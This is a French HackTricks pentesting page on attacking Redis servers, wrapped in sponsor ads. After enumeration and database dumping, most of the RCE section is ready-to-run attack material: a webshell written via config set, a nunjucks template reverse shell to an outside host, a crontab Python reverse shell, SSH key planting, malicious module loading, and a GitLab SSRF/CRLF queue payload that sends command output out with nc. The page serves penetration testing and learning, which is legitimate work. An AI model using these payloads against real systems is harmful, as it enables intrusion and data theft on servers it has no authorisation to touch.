mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
334 lines
22 KiB
Markdown
334 lines
22 KiB
Markdown
# 6379 - Pentesting Redis
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof est la plateforme des primes de bugs cryptographiques.**
|
||
|
||
**Obtenez des récompenses sans délai**\
|
||
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
||
|
||
**Acquérez de l'expérience en pentesting web3**\
|
||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||
|
||
**Devenez la légende du hacker web3**\
|
||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||
|
||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) commencez à gagner grâce à vos hacks !
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## Informations de base
|
||
|
||
Redis est un magasin de **structures de données en mémoire** open source (sous licence BSD), utilisé comme **base de données**, cache et courtier de messages (à partir de [ici](https://redis.io/topics/introduction)). Par défaut et couramment, Redis utilise un protocole en texte clair, mais vous devez garder à l'esprit qu'il peut également implémenter **ssl/tls**. Apprenez comment [exécuter Redis avec ssl/tls ici](https://fossies.org/linux/redis/TLS.md).
|
||
|
||
**Port par défaut :** 6379
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
## Énumération automatique
|
||
|
||
Certains outils automatisés peuvent aider à obtenir des informations à partir d'une instance Redis :
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
## Énumération manuelle
|
||
|
||
### Bannière
|
||
|
||
Redis est un **protocole basé sur le texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs renvoyées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très étrange).
|
||
|
||
Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant `nc` ou vous pouvez également utiliser `redis-cli`:
|
||
```bash
|
||
nc -vn 10.10.10.10 6379
|
||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||
```
|
||
La **première commande** que vous pourriez essayer est **`info`**. Elle **peut renvoyer une sortie avec des informations** sur l'instance Redis **ou quelque chose** comme ce qui suit est renvoyé :
|
||
```
|
||
-NOAUTH Authentication required.
|
||
```
|
||
Dans ce dernier cas, cela signifie que **vous avez besoin de justificatifs valides** pour accéder à l'instance Redis.
|
||
|
||
### Authentification Redis
|
||
|
||
**Par défaut**, Redis peut être accédé **sans justificatifs**. Cependant, il peut être **configuré** pour prendre en charge **uniquement un mot de passe, ou un nom d'utilisateur + mot de passe**.\
|
||
Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'à ce que le service redémarre en se connectant et en exécutant : `config set requirepass p@ss$12E45`.\
|
||
De plus, un **nom d'utilisateur** peut être configuré dans le paramètre `masteruser` à l'intérieur du fichier _**redis.conf**_.
|
||
|
||
{% hint style="info" %}
|
||
Si seul le mot de passe est configuré, le nom d'utilisateur utilisé est "**default**".\
|
||
De plus, notez qu'il n'y a **aucun moyen de le découvrir de l'extérieur** si Redis a été configuré avec uniquement un mot de passe ou un nom d'utilisateur + mot de passe.
|
||
{% endhint %}
|
||
|
||
Dans des cas comme celui-ci, vous devrez **trouver des justificatifs valides** pour interagir avec Redis, vous pouvez donc essayer de le [**forcer**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||
**Si vous trouvez des justificatifs valides, vous devez authentifier la session** après avoir établi la connexion avec la commande :
|
||
```bash
|
||
AUTH <username> <password>
|
||
```
|
||
**Les identifiants valides** recevront une réponse : `+OK`
|
||
|
||
### **Énumération authentifiée**
|
||
|
||
Si l'instance Redis accepte les connexions **anonymes** ou si vous avez trouvé des **identifiants valides**, vous pouvez **commencer à énumérer** le service avec les commandes suivantes :
|
||
```bash
|
||
INFO
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
**Autres commandes Redis** [**peuvent être trouvées ici**](https://redis.io/topics/data-types-intro) **et** [**ici**](https://lzone.de/cheat-sheet/Redis)**.**\
|
||
Notez que les **commandes Redis d'une instance peuvent être renommées** ou supprimées dans le fichier _redis.conf_. Par exemple, cette ligne supprimera la commande FLUSHDB :
|
||
```
|
||
rename-command FLUSHDB ""
|
||
```
|
||
Plus d'informations sur la configuration sécurisée d'un service Redis ici: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||
|
||
Vous pouvez également **surveiller en temps réel les commandes Redis** exécutées avec la commande **`monitor`** ou obtenir les **25 requêtes les plus lentes** avec **`slowlog get 25`**
|
||
|
||
Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||
|
||
### **Dumping de la base de données**
|
||
|
||
À l'intérieur de Redis, les **bases de données sont des numéros commençant à partir de 0**. Vous pouvez vérifier si l'une d'entre elles est utilisée dans la sortie de la commande `info` à l'intérieur de la section "Keyspace":
|
||
|
||
![](<../.gitbook/assets/image (315).png>)
|
||
|
||
Ou vous pouvez simplement obtenir tous les **keyspaces** (bases de données) avec:
|
||
```
|
||
INFO keyspace
|
||
```
|
||
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilise la base de données 0. Pour sauvegarder par exemple la base de données 1, vous devez faire ce qui suit :
|
||
```bash
|
||
SELECT 1
|
||
[ ... Indicate the database ... ]
|
||
KEYS *
|
||
[ ... Get Keys ... ]
|
||
GET <KEY>
|
||
[ ... Get Key ... ]
|
||
```
|
||
Au cas où vous obtenez l'erreur suivante `-WRONGTYPE Opération sur une clé contenant un type de valeur incorrect` lors de l'exécution de `GET <KEY>`, cela signifie que la clé peut être autre chose qu'une chaîne de caractères ou un entier et nécessite un opérateur spécial pour l'afficher.
|
||
|
||
Pour connaître le type de la clé, utilisez la commande `TYPE`, exemple ci-dessous pour les clés de type liste et hachage.
|
||
```
|
||
TYPE <KEY>
|
||
[ ... Type of the Key ... ]
|
||
LRANGE <KEY> 0 -1
|
||
[ ... Get list items ... ]
|
||
HGET <KEY> <FIELD>
|
||
[ ... Get hash item ... ]
|
||
```
|
||
**Extraire la base de données avec npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
|
||
|
||
**Obtenez des récompenses sans délai**\
|
||
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
||
|
||
**Acquérez de l'expérience en pentesting web3**\
|
||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||
|
||
**Devenez une légende du hacking web3**\
|
||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||
|
||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## RCE Redis
|
||
|
||
### Shell interactif
|
||
|
||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir un shell interactif ou un shell inversé dans Redis (<=5.0.5).
|
||
```
|
||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||
```
|
||
### PHP Webshell
|
||
|
||
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Vous devez connaître le **chemin** du **dossier du site Web** :
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
Si l'accès à la webshell est bloqué, vous pouvez vider la base de données après avoir effectué une sauvegarde et réessayer. N'oubliez pas de restaurer la base de données.
|
||
|
||
### Modèle de Webshell
|
||
|
||
Comme dans la section précédente, vous pouvez également écraser un fichier de modèle HTML qui sera interprété par un moteur de modèle et obtenir une shell.
|
||
|
||
Par exemple, en suivant [**ce guide**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), vous pouvez voir que l'attaquant a injecté une **shell inversée dans un fichier HTML** interprété par le **moteur de modèle nunjucks :**
|
||
```javascript
|
||
{{ ({}).constructor.constructor(
|
||
"var net = global.process.mainModule.require('net'),
|
||
cp = global.process.mainModule.require('child_process'),
|
||
sh = cp.spawn('sh', []);
|
||
var client = new net.Socket();
|
||
client.connect(1234, 'my-server.com', function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});"
|
||
)()}}
|
||
```
|
||
{% hint style="warning" %}
|
||
Notez que **plusieurs moteurs de template mettent en cache** les templates en **mémoire**, donc même si vous les écrasez, le nouveau ne sera pas exécuté. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez effectuer une attaque par déni de service sur le service (et vous attendre à ce qu'il soit relancé automatiquement).
|
||
{% endhint %}
|
||
|
||
### SSH
|
||
|
||
Veuillez noter que le résultat de **`config get dir`** peut être modifié après d'autres commandes d'exploitation manuelles. Je vous suggère de l'exécuter en premier juste après vous être connecté à Redis. Dans la sortie de **`config get dir`**, vous pouvez trouver le **dossier personnel** de l'utilisateur **redis** (généralement _/var/lib/redis_ ou _/home/redis/.ssh_), et en le connaissant, vous savez où vous pouvez écrire le fichier `authenticated_users` pour accéder via ssh **avec l'utilisateur redis**. Si vous connaissez le dossier personnel d'un autre utilisateur valide où vous avez des permissions d'écriture, vous pouvez également l'exploiter :
|
||
|
||
1. Générez une paire de clés publique-privée ssh sur votre ordinateur : **`ssh-keygen -t rsa`**
|
||
2. Écrivez la clé publique dans un fichier : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||
3. Importez le fichier dans Redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||
4. Enregistrez la clé publique dans le fichier **authorized\_keys** sur le serveur Redis :
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
5. Enfin, vous pouvez vous connecter en **ssh** au **serveur Redis** avec la clé privée : **ssh -i id\_rsa redis@10.85.0.52**
|
||
|
||
**Cette technique est automatisée ici :** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
### Crontab
|
||
```
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
Le dernier exemple est pour Ubuntu, pour **Centos**, la commande ci-dessus devrait être : `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
Cette méthode peut également être utilisée pour gagner des bitcoins : [yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### Charger un module Redis
|
||
|
||
1. Suivez les instructions de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) pour **compiler un module Redis pour exécuter des commandes arbitraires**.
|
||
2. Ensuite, vous avez besoin d'un moyen de **télécharger le module compilé**.
|
||
3. **Chargez le module téléchargé** à l'exécution avec `MODULE LOAD /chemin/vers/mymodule.so`
|
||
4. **Listez les modules chargés** pour vérifier qu'il a été correctement chargé : `MODULE LIST`
|
||
5. **Exécutez** des **commandes** :
|
||
|
||
```
|
||
127.0.0.1:6379> system.exec "id"
|
||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||
127.0.0.1:6379> system.exec "whoami"
|
||
"root\n"
|
||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||
```
|
||
6. Déchargez le module quand vous le souhaitez : `MODULE UNLOAD mymodule`
|
||
|
||
### Contourner le bac à sable LUA
|
||
|
||
[**Ici**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html), vous pouvez voir que Redis utilise la commande **EVAL** pour exécuter du **code Lua dans un bac à sable**. Dans le billet lié, vous pouvez voir **comment l'exploiter** en utilisant la fonction **dofile**, mais [apparemment](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) cela n'est plus possible. Quoi qu'il en soit, si vous pouvez **contourner le bac à sable Lua**, vous pouvez **exécuter des commandes arbitraires** sur le système. De plus, dans le même billet, vous pouvez voir quelques **options pour provoquer un déni de service**.
|
||
|
||
Quelques **CVE pour échapper à LUA** :
|
||
|
||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||
|
||
### Module Maître-Esclave
|
||
|
||
Toutes les opérations du redis maître sont automatiquement synchronisées vers le redis esclave, ce qui signifie que nous pouvons considérer le redis vulnérable comme un redis esclave, connecté au redis maître que nous contrôlons, puis nous pouvons entrer la commande dans notre propre redis.
|
||
```
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
## SSRF communication avec Redis
|
||
|
||
Si vous pouvez envoyer une requête en **texte clair** à **Redis**, vous pouvez **communiquer avec lui** car Redis lit la requête ligne par ligne et répond simplement avec des erreurs aux lignes qu'il ne comprend pas :
|
||
```
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
Par conséquent, si vous trouvez une vulnérabilité **SSRF** sur un site web et que vous pouvez **contrôler** certains **en-têtes** (peut-être avec une vulnérabilité **CRLF**) ou des **paramètres POST**, vous pourrez envoyer des commandes arbitraires à Redis.
|
||
|
||
### Exemple : Gitlab SSRF + CRLF vers Shell
|
||
|
||
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la fonctionnalité **importer un projet à partir d'une URL** lors de la création d'un nouveau projet et permettait d'accéder à des adresses IP arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (ceci accédera à 127.0.0.1), et la vulnérabilité **CRLF** était exploitée en ajoutant simplement les caractères %0D%0A à l'**URL**.
|
||
|
||
Par conséquent, il était possible d'**exploiter ces vulnérabilités pour communiquer avec l'instance Redis** qui **gère les files d'attente** de **gitlab** et d'abuser de ces files d'attente pour **obtenir l'exécution de code**. La charge utile d'abus de file d'attente Redis est :
|
||
```
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
Et la requête **URL encode** exploitant SSRF et CRLF pour exécuter `whoami` et renvoyer la sortie via `nc` est :
|
||
```
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
|
||
|
||
**Obtenez des récompenses sans délai**\
|
||
Les primes HackenProof sont lancées uniquement lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
||
|
||
**Acquérez de l'expérience en pentest web3**\
|
||
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
||
|
||
**Devenez une légende du hacking web3**\
|
||
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
||
|
||
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|